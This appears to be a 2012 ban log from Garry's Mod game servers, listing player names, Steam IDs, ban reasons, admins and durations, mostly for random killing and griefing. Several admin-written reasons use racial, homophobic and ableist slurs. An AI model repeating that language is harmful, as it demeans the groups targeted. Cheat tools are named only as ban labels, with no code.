STEAM_0:1:7274576 rdming then left karma +too +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:18:40 Unbanned +3:13 pm 19-03-12 Preak STEAM_0:0:30792513 Prop pushing +[SP]+ +Gearyâ?¢ Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +1:08 am 19-03-12 +[SP]+ Ranana (Randy) STEAM_0:0:25596355 Alt of +banned ID STEAM_0:1:25594796 (Console) Fretta|Tigergruppe Kommand +Rebels vs. Combine 0:0:41 Unbanned +12:50 am 19-03-12 Robert STEAM_0:1:25594796 troll MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +12:40 am 19-03-12 [DACRP-RIP] GML102 STEAM_0:1:38343177 troll that +MAD MANN Fretta|Tigergruppe Kommand Puzzle 0:1:0 Unbanned +8:46 pm 18-03-12 UrbanElite STEAM_0:0:30854132 Mass RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:07 pm 18-03-12 Unknown STEAM_0:1:35315929 RDM then leaving. +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:19 pm 18-03-12 Pranger STEAM_0:1:12905612 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:13:20 Unbanned +9:06 am 18-03-12 SteveE123 STEAM_0:1:50109057 Alt of banned ID +STEAM_0:1:31854870 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +6:03 pm 17-03-12 Ð?еÑ?ваÑ? Ñ?меÑ?Ñ?Ñ? STEAM_0:1:38332908 karma +and name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:49 pm 17-03-12 ^5co^2ok^6ie STEAM_0:0:24585621 Alt of banned ID +STEAM_0:1:31137863 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 0:22:57 Unbanned +5:49 pm 17-03-12 Kuimi STEAM_0:1:9285977 glitching the map again ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:46 pm 17-03-12 OMGlollerXD STEAM_0:1:31137863 RDM, no response +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:28 pm 16-03-12 Ultiamtus STEAM_0:0:34785696 base is WAY TOO CLOSE +Whack a mong Official Zombified World|Lvl Cap +10 Zombified World +4:20:40 Unbanned +5:50 pm 16-03-12 Unknown STEAM_0:1:29497464 Blocking, griefing +Kobato Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 +Unbanned +5:08 pm 16-03-12 Unknown STEAM_0:1:42544915 mass RDM and left also +ban request! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 10:10:0 Unbanned +3:52 pm 16-03-12 oskar e svensk STEAM_0:1:38465764 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:24 am 16-03-12 Saint STEAM_0:0:32874185 mass rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:02 am 16-03-12 Kirill STEAM_0:1:6232747 doesn't want to be here +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:08 am 15-03-12 Unknown STEAM_0:0:34785696 Feed this man a +dictionary MAD MANN Official Zombified World|Lvl Cap +10 Zombified +World 1:0:0 Unbanned +7:29 pm 14-03-12 F0nt1k STEAM_0:0:19038354 Double teamkill (Two +traitors) - Unbanned (The idiots blew themself up) Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:0 Unbanned +7:11 pm 14-03-12 derpy rida ã?? STEAM_0:0:41668484 Lying Flapadar +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:10 pm 14-03-12 Triton STEAM_0:0:23168403 Alt of banned ID +STEAM_0:1:8475562 (Console) Fretta|Tigergruppe Kommand Zombie +Onslaught Permanent Banned +5:13 pm 14-03-12 Unknown STEAM_0:1:45766775 rdming then left! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Deathrun 3:11:20 Unbanned +4:51 pm 14-03-12 Unknown STEAM_0:1:36440417 Ban Request. (Console) +Official Zombified World|Lvl Cap +10 Zombified World 10:12:0 Unbanned +4:20 pm 14-03-12 Unknown STEAM_0:1:8475562 Doesnt seem to care about +rules, many chances. +[SP]+ Marked One [SK] Fretta|Tigergruppe +Kommand Zombie Onslaught Permanent Banned +9:49 pm 13-03-12 Unknown STEAM_0:0:40465392 rdm then left and prop +pushing and..shithead +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Deathrun 2:2:0 Unbanned +9:14 pm 13-03-12 Unknown STEAM_0:1:27991309 Propkill and disconnect ++[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified +World 2:18:40 Unbanned +9:07 pm 13-03-12 Unknown STEAM_0:1:18421295 got the tags but is a +nobody. who is not in SP - Unbanned by flap, vouched by Mind +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:0 +Unbanned +8:39 pm 13-03-12 ____Unknown Gamer____ STEAM_0:0:21647483 Prop +Pushing White Rock Shooter Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +9:13 pm 12-03-12 Seamen STEAM_0:1:39204273 rdm and karma is allways +low. shameful +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +7:42 pm 12-03-12 ITz chaos STEAM_0:0:35860134 Lying + rdm - Extended +due to multiple offences.. Flapadar Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:23:13 Unbanned +9:27 pm 11-03-12 Unknown STEAM_0:0:46099673 RDM and Left! +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +7:42 pm 11-03-12 w.mesken STEAM_0:0:45707722 RDM x4 and left +Nemesis Fretta|Tigergruppe Kommand Zombie Onslaught 4:0:0 Unbanned +7:15 pm 11-03-12 Nate STEAM_0:1:24297812 RDM - Read the Rules. +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:06 pm 11-03-12 *Spam* STEAM_0:0:16430546 RDM x4 Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +1:09 pm 11-03-12 Unknown STEAM_0:0:33575136 Ban Request. (Console) +Official Zombified World|Lvl Cap +10 Zombified World 1:12:0 Unbanned +9:19 am 11-03-12 Unknown STEAM_0:1:35820117 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:21 am 11-03-12 Unknown STEAM_0:1:39063623 Faction Exploiting ++[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified World +6:22:40 Unbanned +9:07 pm 10-03-12 [NBD] emortal death STEAM_0:1:33691372 fucking +noob MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +9:03 pm 10-03-12 ryanmcc STEAM_0:1:40441730 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:47 pm 10-03-12 [}mamouthe{]FR︻ã??â??ä¸? STEAM_0:1:32870612 rdming +and claiming +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:28 pm 10-03-12 Beastlor STEAM_0:1:3959917 rdming team again +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +4:27 am 10-03-12 shadowmax1 STEAM_0:0:48704036 Alt of banned ID +STEAM_0:0:15199728 (Console) Official Zombified World|Lvl Cap +10 +Zombified World 6:23:46 Unbanned +4:13 am 10-03-12 -=CS=- Turtle N a Tree STEAM_0:0:15199728 Basing out +of map Zanzibubba Official Zombified World|Lvl Cap +10 Zombified +World 7:0:0 Unbanned +3:30 am 10-03-12 jamiehead STEAM_0:0:26804470 RDM Nemesis +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:51 pm 09-03-12 (DC)Bob STEAM_0:1:14811705 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +1:13 pm 09-03-12 Frog STEAM_0:0:41668933 Prop Killing Chizuru Desu +Official Zombified World|Lvl Cap +10 Zombified World 2:18:40 Unbanned +1:46 am 09-03-12 Unknown STEAM_0:1:39063623 14 Too many reasons to +fit on Banlist Nemesis Official Zombified World|Lvl Cap +10 Zombified +World Permanent Banned +11:48 pm 08-03-12 Unknown STEAM_0:0:48325709 ban dispute MAD MANN +Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +6:48 pm 08-03-12 Unknown STEAM_0:0:19543976 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:38 pm 08-03-12 Rollie STEAM_0:1:8475562 karma and not the first +time! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +9:08 pm 07-03-12 KILLJOY STEAM_0:1:43945 oh fuck off aready +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +62:12:0 Unbanned +3:14 pm 07-03-12 Unknown STEAM_0:0:29261323 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Zombie Onslaught 1:0:0 Unbanned +9:45 pm 06-03-12 Unknown STEAM_0:0:24124474 rdming the left. babes! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +9:43 pm 06-03-12 Unknown STEAM_0:1:26087515 RDMING AND KARMA +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +9:40 pm 06-03-12 ceevo10 STEAM_0:0:47956264 RDM +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +9:34 pm 06-03-12 ^1Chili^0Man STEAM_0:1:29133516 Having fun not +playing the game! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:0:1 Unbanned +8:50 pm 06-03-12 Unknown STEAM_0:0:29854230 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:34 pm 06-03-12 +[SP]+ WaffleCopter111 +PRO+ STEAM_0:1:32425210 Fake +tags +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:7:20 Unbanned +12:43 am 06-03-12 Unknown STEAM_0:1:27201943 Base Farming +(Console) Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +12:42 am 06-03-12 Unknown STEAM_0:1:22989395 Base Farming +(Console) Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +2:08 pm 05-03-12 Unknown STEAM_0:1:26509632 Cheat: myg0t (Console) +Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:17 am 05-03-12 Unknown STEAM_0:1:39063623 Spawning base in other +base circle +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +11:34 pm 04-03-12 Unknown STEAM_0:1:38676633 Destroying Prop +[SP]+ +Anime Official Zombified World|Lvl Cap +10 Zombified World 0:2:20 +Unbanned +9:38 pm 04-03-12 Reed^^ STEAM_0:0:30194821 Basing out of Map +Nemesis Official Zombified World|Lvl Cap +10 Zombified World 2:0:0 +Unbanned +4:29 pm 04-03-12 . - Â¥ ï®?౯Ťï»? Â¥ - . -Σή STEAM_0:1:20232602 +Alt of banned ID STEAM_0:1:11364923 (Console) Killa's Zombie Survival +Server Zombie Survival Permanent Banned +4:26 pm 04-03-12 . - Â¥ ï®?౯Ťï»? Â¥ - . -Σή STEAM_0:1:20232602 +Alt of banned ID STEAM_0:1:11364923 (Console) Fretta|Tigergruppe +Kommand Prop Hunt Permanent Banned +2:52 pm 04-03-12 Purepwnage STEAM_0:0:32689725 Major RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +1:16 am 04-03-12 Unknown STEAM_0:0:10012377 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +7:54 pm 03-03-12 Sgt. Pepper STEAM_0:0:13324704 troll, RDM, asshole +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +7:30 pm 03-03-12 spaseren fra lønebrer STEAM_0:0:40545567 rdm MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:38 pm 03-03-12 Unknown STEAM_0:0:43627126 rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +4:27 pm 03-03-12 Unknown STEAM_0:1:49049781 crowbar RDM and left MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +2:21 pm 03-03-12 Unknown STEAM_0:1:40778718 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +1:48 pm 03-03-12 Ð?Ñ?аÑ?авÑ?ик STEAM_0:0:34194351 proppush MAD +MANN Official Zombified World|Lvl Cap +10 Zombified World 0:1:0 +Unbanned +1:35 pm 03-03-12 Unknown STEAM_0:0:35860134 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:08 pm 03-03-12 +[SP]+ HatGoesBoom STEAM_0:1:8993858 Pressing al the +traps Aion Fretta|Tigergruppe Kommand Deathrun 1:0:0 Unbanned +1:47 am 03-03-12 Unknown STEAM_0:1:16968054 rdming and left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +12:36 am 03-03-12 Gen.Killeruk [22nd AB] STEAM_0:1:16181769 And you +are banned for ghosting too Aion Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 10:0:0 Unbanned +12:36 am 03-03-12 Rec.Torchy[22nd AB] STEAM_0:1:24736249 I said fuck +off with your ghosting, so you are banned Aion Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 10:0:0 Unbanned +11:19 pm 02-03-12 Unknown STEAM_0:1:27874209 Cheat: cubhack +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:17 pm 02-03-12 Unknown STEAM_0:0:40146815 Cheat: mfsp (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:16 pm 02-03-12 Unknown STEAM_0:1:17286464 Cheat: coma (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:16 pm 02-03-12 Unknown STEAM_0:1:44511758 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:15 pm 02-03-12 Unknown STEAM_0:0:34111703 Cheat: lix (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:15 pm 02-03-12 Unknown STEAM_0:1:33659672 Cheat: elebot +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:14 pm 02-03-12 Unknown STEAM_0:0:23552236 Cheat: (cracked) +sethhack v2 (Console) Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +11:12 pm 02-03-12 Unknown STEAM_0:1:12018844 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:11 pm 02-03-12 Unknown STEAM_0:1:44781337 Cheat: speed.lua +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:11 pm 02-03-12 Unknown STEAM_0:1:1439351 Cheat: herpes +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:10 pm 02-03-12 Unknown STEAM_0:0:24419439 Cheat: isis (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:17508660 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:26736765 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:37602703 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:41918177 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:28533213 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:42305682 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:36940612 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:38469933 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:1426417 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:17652107 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:6428289 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:30939823 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:40749708 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:23629652 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:35205289 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:49076431 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:0:26311595 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:19159317 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:10417976 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:41611335 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:09 pm 02-03-12 Unknown STEAM_0:1:43969722 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:39 pm 02-03-12 [FL:RP] arbiter[PT] STEAM_0:1:37139098 Alt of banned +ID STEAM_0:1:33568916 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:8:14 Unbanned +8:23 pm 02-03-12 Unknown STEAM_0:1:30710965 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +8:33 pm 01-03-12 [Gmod.biZ]Dr.House[PT] STEAM_0:1:33568916 Base out +of map +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 1:9:20 Unbanned +5:56 pm 01-03-12 Ifoitalia STEAM_0:0:27846975 propsurfing after +warning +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap +10 +Zombified World 0:7:30 Unbanned +5:41 pm 01-03-12 Jaybeegee STEAM_0:1:36153357 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:59 pm 01-03-12 Unknown STEAM_0:1:38226140 ghosting +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +11:49 pm 29-02-12 Unknown STEAM_0:1:27808740 Extended (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +9:39 pm 29-02-12 Unknown STEAM_0:0:8687166 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:39 pm 29-02-12 +[SP]+ CatLover STEAM_0:0:39083268 Bye catlover, you +wont return +[SP]+ Marked One [SK] Killa's Zombie Survival Server +Zombie Survival Permanent Banned +9:34 pm 29-02-12 Unknown STEAM_0:1:21507735 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:34 pm 29-02-12 Unknown STEAM_0:1:25675380 rdm tehn left oh and your +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +9:29 pm 29-02-12 Tilleytubbies STEAM_0:1:25618362 mass rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:59 pm 29-02-12 Kuimi STEAM_0:1:9285977 karma again +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +7:41 pm 29-02-12 blossared STEAM_0:1:10323224 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +6:44 pm 29-02-12 Yngve S.23 STEAM_0:0:19256252 Buy Norzone +Fretta|Tigergruppe Kommand Zombie Onslaught Permanent Banned +6:43 pm 29-02-12 Marius Nilsen. STEAM_0:1:27808740 No niggers, didn't +learn Norzone Fretta|Tigergruppe Kommand Zombie Onslaught 0:1:0 +Unbanned +4:46 pm 29-02-12 Troll face STEAM_0:0:39398900 rdming cunt +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +3:41 pm 29-02-12 Ultimatus STEAM_0:0:34785696 Faction exploiting, +lying and a retard. +[SP]+ Marked One [SK] Official Zombified +World|Lvl Cap +10 Zombified World 5:0:0 Unbanned +9:15 pm 28-02-12 [RTR] Mr. Fish STEAM_0:0:16192087 rdming and not +listening to anyone in anyway +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:40 pm 28-02-12 Unknown STEAM_0:1:20998165 rdm then left!!! +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:26 pm 28-02-12 Unknown STEAM_0:0:14696634 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:4:0 Unbanned +5:23 pm 28-02-12 Unknown STEAM_0:1:46271619 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:57 pm 28-02-12 Unknown STEAM_0:1:10895704 mass rdm left and karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +9:24 pm 27-02-12 Unknown STEAM_0:0:21504600 low karma + Rdm and +left MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +7:22 pm 27-02-12 Unknown STEAM_0:1:49543997 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:15 pm 27-02-12 Unknown STEAM_0:1:9285977 KARMA. man that was low +again -_- +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:21 pm 27-02-12 Unknown STEAM_0:0:24574346 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +5:32 pm 27-02-12 Unknown STEAM_0:1:36455336 rdming and then left you +were warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +5:13 pm 27-02-12 Unknown STEAM_0:0:31971203 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:57 pm 27-02-12 |nh|pistO STEAM_0:1:9869896 mass RDM and karma!!! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +6:12 pm 26-02-12 Facerape ! STEAM_0:1:24418752 tosser MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:16:40 Unbanned +6:11 pm 26-02-12 LoreN STEAM_0:1:10895704 tosser MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:1:40 Unbanned +6:11 pm 26-02-12 Plasma NuggetZ STEAM_0:0:42101221 tosser MAD MANN +Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +2:56 pm 26-02-12 Lewis Newt STEAM_0:1:45858119 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 Unbanned +2:40 pm 26-02-12 | Mooncalf | Is lurking about STEAM_0:1:18174935 +crowbaring retard MAD MANN Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:48 am 26-02-12 Ezio Auditore Da Firenze STEAM_0:1:29777858 rdm +then left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +12:19 am 26-02-12 Unknown STEAM_0:1:47910462 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:43 pm 25-02-12 Unknown STEAM_0:1:13983941 rdming then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +8:06 pm 25-02-12 That Noob STEAM_0:0:41202056 low karma + troll MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +7:01 pm 25-02-12 Unknown STEAM_0:1:38332908 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:41 pm 25-02-12 Unknown STEAM_0:0:16017873 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:55 am 25-02-12 Unknown STEAM_0:0:40709205 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +9:00 pm 24-02-12 Ron Paul Revolution STEAM_0:0:41336260 mass rdm and +mic spam +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun +6:22:40 Unbanned +8:59 pm 24-02-12 Unknown STEAM_0:1:11404782 soz wrong ron +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:2 +Unbanned +8:51 pm 24-02-12 Dennis the piemancer STEAM_0:1:26489227 there! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +8:46 pm 24-02-12 Unknown STEAM_0:1:23886494 rdming all night and left +after a big org of rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 4:20:40 Unbanned +8:44 pm 24-02-12 Romanovitch STEAM_0:1:11404782 mass rdm + mic +spaming +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +3:37 pm 24-02-12 JONATHAN D STEAM_0:0:40545567 Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +3:37 pm 24-02-12 mikkel (dk) STEAM_0:1:38953043 Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +9:26 pm 23-02-12 Hannibal The Cannibal STEAM_0:0:30440286 being a +faggot (griefing) MAD MANN Fretta|Tigergruppe Kommand Puzzle +1:22:40 Unbanned +7:59 pm 23-02-12 Fetzi, die fröhliche Landmine! STEAM_0:0:8687166 +rdming a fellow T and rdming alot recently oh and left +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:13:20 Unbanned +7:11 pm 23-02-12 Unknown STEAM_0:0:35384945 rdming after warned and +also left with your other shithead!!!! +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:4:0 Unbanned +7:09 pm 23-02-12 Unknown STEAM_0:1:22772511 rdming and then left +everyone was warned...little shit +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 4:20:40 Unbanned +6:17 pm 23-02-12 Unknown STEAM_0:1:47050441 RDM after warning +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:10:20 Unbanned +4:13 pm 23-02-12 Unknown STEAM_0:1:42955808 Scamming Weapons then +leaving the server Aion Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +3:53 am 23-02-12 Bad McCasual STEAM_0:1:33803502 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town 